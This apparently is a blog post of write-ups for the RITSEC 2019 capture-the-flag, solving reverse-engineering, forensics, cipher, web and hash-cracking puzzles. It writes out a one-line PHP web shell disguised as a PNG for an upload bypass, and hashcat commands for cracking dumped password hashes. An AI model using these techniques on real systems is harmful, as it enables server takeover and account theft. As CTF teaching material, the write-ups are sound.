4 min read

RITSEC CTF 2019: Write-ups

by Vihan Bhargava
  • CTF

Write-ups for the RITSEC 2019 capture the flag.



This gives us the following assembly:

decode():                             // @decode()
        sub     sp, sp, #48             // =48
        adrp    x8, .L_ZZ6decodevE8password
        add     x8, x8, :lo12:.L_ZZ6decodevE8password
        ldur    q0, [x8, #30]
        ldp     q2, q1, [x8]
        mov     x8, sp
        mov     w9, #33
        stur    q0, [sp, #30]
        stp     q2, q1, [sp]
.LBB0_1:                                // =>This Inner Loop Header: Depth=1
        ldrb    w10, [x8]
        eor     w10, w10, w9
        sub     w10, w10, #33
        strb    w10, [x8], #1
        b       .LBB0_1
  .asciz "\x52\x4b\x54\x55\x47\x45\xbd\xa8\xa7\xbb\xa1\xae\xab\xa5\xa7\xa1\xbb\xb1\xb7\xa1\xa5\xa3\xae\xa1\xb2\xa7\xb6\xa7\xb2\xb5\xa7\xa1\x43\x52\x4f\xa1\xa3\xb5\xb5\xa7\xaf\xa2\xac\xbb\xbf"

I recognize this as ARM assembly due to the ldp and stp instructions. I’m not super familar with ARM so I used the ARMASM reference to do this. Essentially this program loads the string and then does some operation over it in a loop (.LBB0_1). I’ve annotated the important parts for clarity:

decode():                             // @decode()
        sub     sp, sp, #48             // =48

        adrp    x8, .L_ZZ6decodevE8password             // x8 = &password
        add     x8, x8, :lo12:.L_ZZ6decodevE8password
        ldur    q0, [x8, #30]    // q0 = x8[30]
        ldp     q2, q1, [x8]     // q2 = x8[0]
                                 // q1 = x8[1]

        mov     x8, sp           // x8 = sp
        mov     w9, #33          // w9 = 33
        stur    q0, [sp, #30]
        stp     q2, q1, [sp]
.LBB0_1:                                // =>This Inner Loop Header: Depth=1
        ldrb    w10, [x8]        // w10 = x8[0]
        eor     w10, w10, w9     // w10 ^= w9
        sub     w10, w10, #33    // w10 -= 33
        strb    w10, [x8], #1    // w10 = x8[1]
        b       .LBB0_1
  .asciz "\x52\x4b\x54\x55\x47\x45\xbd\xa8\xa7\xbb\xa1\xae\xab\xa5\xa7\xa1\xbb\xb1\xb7\xa1\xa5\xa3\xae\xa1\xb2\xa7\xb6\xa7\xb2\xb5\xa7\xa1\x43\x52\x4f\xa1\xa3\xb5\xb5\xa7\xaf\xa2\xac\xbb\xbf"

The main part is the sub and the eor (xor) instruction. It’s xor’d by w9 which is set the mov w9, #33 to 3333 so to undo this we just do:

(ci33)33\left(c_i\oplus33\right) - 33

in JS:

  .map(i =>
    String.fromCharCode((i.charCodeAt() ^ 33) - 33))

which gives us RITSEC{hey_nice_you_can_reverse_ARM_assembly}!


This downloads a compiled AppleScript file. You don’t need to even have a mac to do this problem. I navigated to the AppleScript script file’s compiled code which is main.scpt.

Yeet script file.
Yeet script file.

I opened this in TextEdit just to see what I was dealing with:

Immediately popping out is a base64-string.
Immediately popping out is a base64-string.

What stuck out immediately is the base64-string. I recognized UklUU0VD in this as the base64 for RITSEC so I copied and pasted that. Note: it looks like there were some null-characters so I stripped those out tr -dc $'\0':


decoding this gives RITSEC{propietary_bytecode_ftw_phant0m}. Simple enough.


#Take it to the Cleaners

This gave the following image:


with the hint “See if you can find what the artist forgot to take out in this one!“. Based on this looking at the EXIF data:

$ exiftool ./ritsec_logo2.png
ExifTool Version Number         : 10.55
File Name                       : ritsec_logo2.png
Directory                       : /
File Size                       : 4.3 kB
File Modification Date/Time     : 2019:11:17 00:08:58-08:00
File Access Date/Time           : 2019:11:17 00:09:00-08:00
File Inode Change Date/Time     : 2019:11:17 00:08:59-08:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 328
Image Height                    : 154
Bit Depth                       : 8
Color Type                      : Palette
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Palette                         : (Binary data 129 bytes, use -b option to extract)
Exif Byte Order                 : Big-endian (Motorola, MM)
Image Description               : Hi there! Looks like youre trying to solve the forensic_fails challenge! Good luck!
Resolution Unit                 : inches
Artist                          : Impos73r
Y Cb Cr Positioning             : Centered
Copyright                       : RITSEC 2018
Exif Version                    : 0231
Components Configuration        : Y, Cb, Cr, -
User Comment                    : RVZHRlJQe1NCRVJBRlZQRl9TTlZZRl9KQkFHX1VSWUNfTEJIX1VSRVJ9
Flashpix Version                : 0100
GPS Latitude Ref                : North
GPS Longitude Ref               : West
Image Size                      : 328x154
Megapixels                      : 0.051

The ‘User Comment’ looks like base64…:


Looks like a substitution cipher which I’ll solve using quipqiup.com. Knowing EVGFRP=RITSEC… this gives RITSEC{FORENSICS_FAILS_DONT_HELP_YOU_HERE}.

#Long Gone

Downloading the chromebin. Let’s see what it really is:

$ file ./chromebin.dms
./chromebin.dms: POSIX tar archive (GNU)

Oh ok well let’s see what’s inside:

$ tar xzvf ./chromebin.dms

There’s a lot in here.. but my eye is immedately drawn towards User Data/Default/History since the challenge mentions “History”. Let’s see what this file is:

$ file Chrome/User\ Data/Default/History
Chrome/User Data/Default/History: SQLite 3.x database, last written using SQLite version 3029000

aha SQLite 3 that’s easy enough let’s see what’s inside:

$ sqlite3 Chrome/User\ Data/Default/History
SQLite version 3.19.3 2017-06-27 16:48:08
Enter ".help" for usage hints.
sqlite> .tables
downloads                meta                     urls
downloads_slices         segment_usage            visit_source
downloads_url_chains     segments                 visits
keyword_search_terms     typed_url_sync_metadata

That keyword_search_terms seems like something that could hold a flag..

sqlite> select * from keyword_search_terms
2|71|help insult heady|help insult heady
... trimmed ...
... trimmed ...
2|80|actor beautiful dizzy|actor beautiful dizzy

What’s that URL? Well when we visit it, the page has our flag! RITSEC{SP00KY_BR0WS3R_H1ST0RY}

long gone


#999 bottles

This has 999 executables each with a character associated with it:

$ ./001.c.out
What is my character?

Now we have to essentially find out what’s the correct character for each of the 999 executables and then find some flag in there. Let’s see what one of them look like (using radare2 to decompile):

$ r2 ./bottles/001.c.out
[0x080483c0]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x080483c0]> s main
[0x080484bb]> pdd

which gave:

/* r2dec pseudo code output */
/* /bottles/001.c.out @ 0x80484bb */
#include <stdint.h>

int32_t main (int32_t arg_4h) {
    int32_t var_dh;
    int32_t canary;
    int32_t var_4h;
    ecx = &arg_4h;
    eax = *(gs:0x14);
    canary = *(gs:0x14);
    eax = 0;
    /* trimmed */
    *(obj.p) = 0x46;
    /* trimmed */
    puts ("What is my character?");
    isoc99_scanf(0x8048806, var_dh);
    edx = (int32_t) var_dh;
    eax = *(obj.p);
    if (dl == al) {
        puts (0x8048809);
    } else {
        puts ("Nope!\r");
    eax = 0;
    ecx = canary;
    ecx ^= *(gs:0x14);
    if (dl != al) {
        stack_chk_fail ();
    ecx = var_4h;
    esp = ecx - 4;
    return eax;

The main comparison at hand is dl == al. al is loaded in the eax = *(obj.p); and that value is set as *(obj.p) = 0x46;. which means the character is 0x46 or F for this executable. Rather than analyze the binary itself. Let’s write a Python script to automate this identification:

import r2pipe
import binascii
import sys

for i in range(1, 1000):
   # Load nth binary
   b = r2pipe.open('{0:03}'.format(i) + '.c.out')

   # Get decompiled code
   disass = b.cmd('aaa; s main; pdd')

   # Identify the correct field
   field = disass.split("eax = *(obj.")[1][0]

   # Get the byte
   byte = disass.split(f'*(obj.{field}) = ')[-1][2:4]

   # Print the decoded hex byte

Now taking that output:

$ pbpaste | tr -d '\n'

Looking carefully there’s RITSEC{AuT057v} in this string which is our flag.



Looks like a lot of redirects. Let’s see what the first one is:

$ http GET http://ctfchallenges.ritsec.club:5000/
HTTP/1.1 302 FOUND
Connection: keep-alive
Content-Length: 211
Content-Type: text/html; charset=utf-8
Date: Sat, 16 Nov 2019 06:12:40 GMT
Location: http://ctfchallenges.ritsec.club:5000/R
Server: nginx/1.14.0 (Ubuntu)

<p>You should be redirected automatically to target URL: <a href="/R">/R</a>.  If not click the link.

/R? That’s the first letter of the flag format. Continuing to follow this spells out RS{4!way5_Ke3p-m0v1ng} which is the flag.

#Buckets of fun

The problem as a link to:


This is an S3 bucket. We can the bucket information by removing the location segment of the URL:


The contents of this is:

<?xml version="1.0" encoding="UTF-8"?>
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
   <Prefix />
   <Marker />

Here there’s a file of interest youfoundme-asd897kjm.txt. Let’s see it at http://bucketsoffun-ctf.s3-website-us-east-1.amazonaws.com/youfoundme-asd897kjm.txt. This loads a page containing RITSEC{LIST_HIDDEN_FILES}. There we go!


Page seems to have nothing. No links of interest, no cookies, no JS, etc. However /index.html loads up the default apache page. Perhaps there’s something being missed. Let’s see what other paths there are:

$ python3 dirsearch.py -u http://ctfchallenges.ritsec.club:8003 -e php,html

_|. _ _  _  _  _ _|_    v0.3.8
(_||| _) (/_(_|| (_| )

Extensions: php, html | HTTP method: get | Threads: 10 | Wordlist size: 6338

Target: http://ctfchallenges.ritsec.club:8003

[18:36:49] Starting:
--- trimmed files of non-interest ---
[18:37:47] 200 -  169B  - /upload.php
[18:37:47] 301 -  347B  - /uploads  ->  http://ctfchallenges.ritsec.club:8003/uploads/
[18:37:47] 200 -    4KB - /uploads/

Now from upload.php we can just upload a file:

<?php passthru($_GET["cmd"]); ?>

and prefix this with magic bytes of some PNG file you have. Now you can go to the URL this generates and cat flag.txt and there you go!


#HD Pepe

This challenges gives us a giant image of Pepe. Based on the previous challenge let’s see the metadata:

$ exiftool ,/ctf_pepe.png
ExifTool Version Number         : 10.55
File Name                       : ctf_pepe.png
Directory                       : /
File Size                       : 10 MB
File Modification Date/Time     : 2019:11:17 00:12:18-08:00
File Access Date/Time           : 2019:11:17 00:12:19-08:00
File Inode Change Date/Time     : 2019:11:17 00:12:18-08:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 4500
Image Height                    : 4334
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Exif Byte Order                 : Big-endian (Motorola, MM)
Image Description               : gh:cyberme69420/hdpepe
Resolution Unit                 : inches
Artist                          : degenerat3
Y Cb Cr Positioning             : Centered
Exif Version                    : 0231
Components Configuration        : Y, Cb, Cr, -
User Comment                    : version control hehe
Flashpix Version                : 0100
GPS Latitude Ref                : North
GPS Longitude Ref               : East
GPS Latitude                    : 39 deg 1' 10.11" N
GPS Longitude                   : 125 deg 45' 12.20" E
GPS Position                    : 39 deg 1' 10.11" N, 125 deg 45' 12.20" E
Image Size                      : 4500x4334
Megapixels                      : 19.5

In the image description there is ‘gh:cyberme69420/hdpepe’. Going to this GitHub url. There’s an encoder.py and examiner.py. Looking at the encoder:

def generateAValues(b64str):
    numArr = []
    for ch in b64str:
        val = ord(ch)
        n = 255 - val
    return numArr

It takes a base64 of the flag and updates 255ord(c)255 - \text{ord}(c) for the initial alpha values. examiner.py gives us the RGBA values in the format:

$ python examiner.py ./ctf_pepe.png 50
X-axis size: 4500
Y-axis size: 4334
r: 53, g: 94, b: 148, a: 170
r: 53, g: 94, b: 148, a: 148
r: 52, g: 93, b: 147, a: 147
r: 51, g: 92, b: 146, a: 170

I grabbed enough of these values and then ran chr(255c)\text{chr}(255 - c) to get the original ordinal from the alpha channel which looks like:

python exam.py ./ctf_pepe.png 50 | \
   tail -n +3 | \
   awk '{ printf "%c", 255-$8 }' | \
   base64 -D

because it happened to be base64 encoded. This finally gave RITSEC{M3M3S_CAN_B3_M4LICIOUS}.


#Lunar Lander

This was a fun challenge. The main hurdle was figuring what the stars refer to. The challenge is called ‘lunar lander’ and mentions star guidance tables? To me, this shouted Apollo Guidance Computer Code.

It also just so happened one of the files in the AGC’s code is STAR_TABLES.

STAR_TABLES file on GitHub
STAR_TABLES file on GitHub

In that file, the stars also perfectly correspond to the stars in the challenge’s distance file too:

Star 18 => Star 11
Star 5 => Star 26
... trimmed ...
Star 1 => Star 33
Star 5 => Star 29

Let’s load the these xx, yy, zz from the AGC code positions into Python so we can handle them easier. I’ll preprocess the startables into a format easier to process

$ wget https://github.com/chrislgarry/Apollo-11/raw/master/Comanche055/STAR_TABLES.agc | \
  sed '/^#/d' | tail -r | awk '{ print $2 }' > startables.txt

This is the position format that we’re working (startables.txt):

+.4836621670  # STAR 1  Z
+.0260879174  # STAR 1  Y
+.8748658918  # STAR 1  X

... trimmed ...

-.4966976975  # STAR 37 Z
-.2392481515  # STAR 37 Y
+.8342971408  # STAR 37 X

Then I load it into a python dictionary in the form { STAR_NUM: [x, y, z] }

startable_lines = open('startableq.txt', 'r').read().strip().split("\n")

stars = {}

for i, star in enumerate(startable_lines):
    star_num = i // 4 + 1
    offset = i % 4

    if offset == 0:
        stars[star_num] = [0, 0, 0]

    if 0 <= offset <= 2:
        stars[star_num][offset] = float(star.split("\t")[0])

Now let’s calculate the distances in order from the page they gave us:

distances = open('distances.txt', 'r').read().strip().split("\n")

def distance_between(star1, star2):
    return (
        (stars[star1][0] - stars[star2][0]) ** 2 +
        (stars[star1][1] - stars[star2][1]) ** 2 +
        (stars[star1][2] - stars[star2][2]) ** 2
    ) ** .5

for distance in distances:
    star_connection = [int(s) for s in distance.split() if s.isdigit()]
    distance = distance_between(star_connection[0], star_connection[1])

Here’s what that looks like:


What do we do with these numbers? This stumped me until I remembered back to the challenge description. The flag has format ritsec{}. ‘r’ has char code 114114. If we look carefully at the first value, it starts with 1.14— surely this isn’t a coincidence! Now I adjusted my code to round to the first two values and output the ordinal:


and then the following code to convert to flag:

$ python decode.py | tr -d '.' | awk '{ printf "%c", $1 }'

Note: I had to make some adjustments such as using $1-1 because of floating point imprecision

There we go! Fun challenge.

#AlPhAbEtIcAl Challenge

This one is a substitution challenge. We’ll replace each number with a letter:


using a quick script:

const table = {};
`59:87:57:51:85:80{:40:50:56:08:82:58:81:08:18:85:57:87:48:85:88:40:50:56:59:15:56:11:18:85:59:51:}`.replace(/\d+:?/g, i => {
   let number = parseInt(i)
   let value = table[n]
   if (!value) {
      value = table[number] = String.fromCharCode(65 + Object.keys(table).length)
   return value;

which gives us some sample letters:


we know ABCDEF=RITSEC which helps is solve this. I went to quipqiup.com to solve and got RITSEC{YOUALPHABETIZEDYOURNUMBERS}.

#Crack me If You Can

This one was a hashing challenge. I have an GTX 1070 which I used with Hashcat’s OpenCL to be able to solve these fast enough

Some moron just breached Meme Corp and decided to dump their passwords...
In the meantime, prepare your GPUs, and get Ready... Set.... and go CRACK!
However... We have a theory that the passwords might come from darkweb2017-top10000.txt, 500-worst-passwords.txt or 10-million-password-list-top-1000000.txt

I recognized the hashes it gave as sha512crypt hashes and NTLM hashes. Additionally, downloading the wordlists they gave I used the following to crack them:


# sha512crypt

hashcat -m $MODE -a 0 password.txt ./darkweb2017-top10000.txt ./500-worst-passwords.txt ./10-million-password-list-top-1000000.txt ./probable-v2-top12000.txt ./xato-net-10-million-passwords-1000000.txt -O



For pre-legend you’re given the following text:


They are no unprintables, all are in the ASCII range so I’m going to guess the code points are offset. It just so happens to make a readable text if I offset each by +15+15:

  .map(i => String.fromCharCode(i.charCodeAt() + 15))

converting this yields https://github.com/clayball/something-useful-ritsec. This is the flag when wrapped RITSEC{https://github.com/clayball/something-useful-ritsec}


Shiny is a Gold Bug cipher as hinted by the image name. Solving it yields POEWASTHEGOAT wrapped is RITSEC{POEWASTHEGOAT}.


Connecting to the provided endpoint:

$ nc ctfchallenges.ritsec.club 8001
Are you starting to 'C' a pattern?
Can you guess the next number?

No apparent pattern is visible. 'C' is emphasized and combined with the name of the challenge being ‘random’, first thought is glibc’s random number generator. Let’s try a basic approach using the following python script:

import ctypes

# Load libc
glibc = ctypes.cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

# Seed RNG to current time in seconds

# Generate first 10 random numbers
print([glibc.rand() for i in range(10)])

This gives (when run at the same time as the netcat):

[1183537326, 179367511, 1277013043, 1811131854, 868592998, 782136432, 2098891341, 126751000, 488308922, 309602220]

Looks like the output is just the first nn random numbers seeded from the connection start time. Passing the next value in 782136432 yields the flag: RITSEC{404_RANDOMNESS_NOT_FOUND}.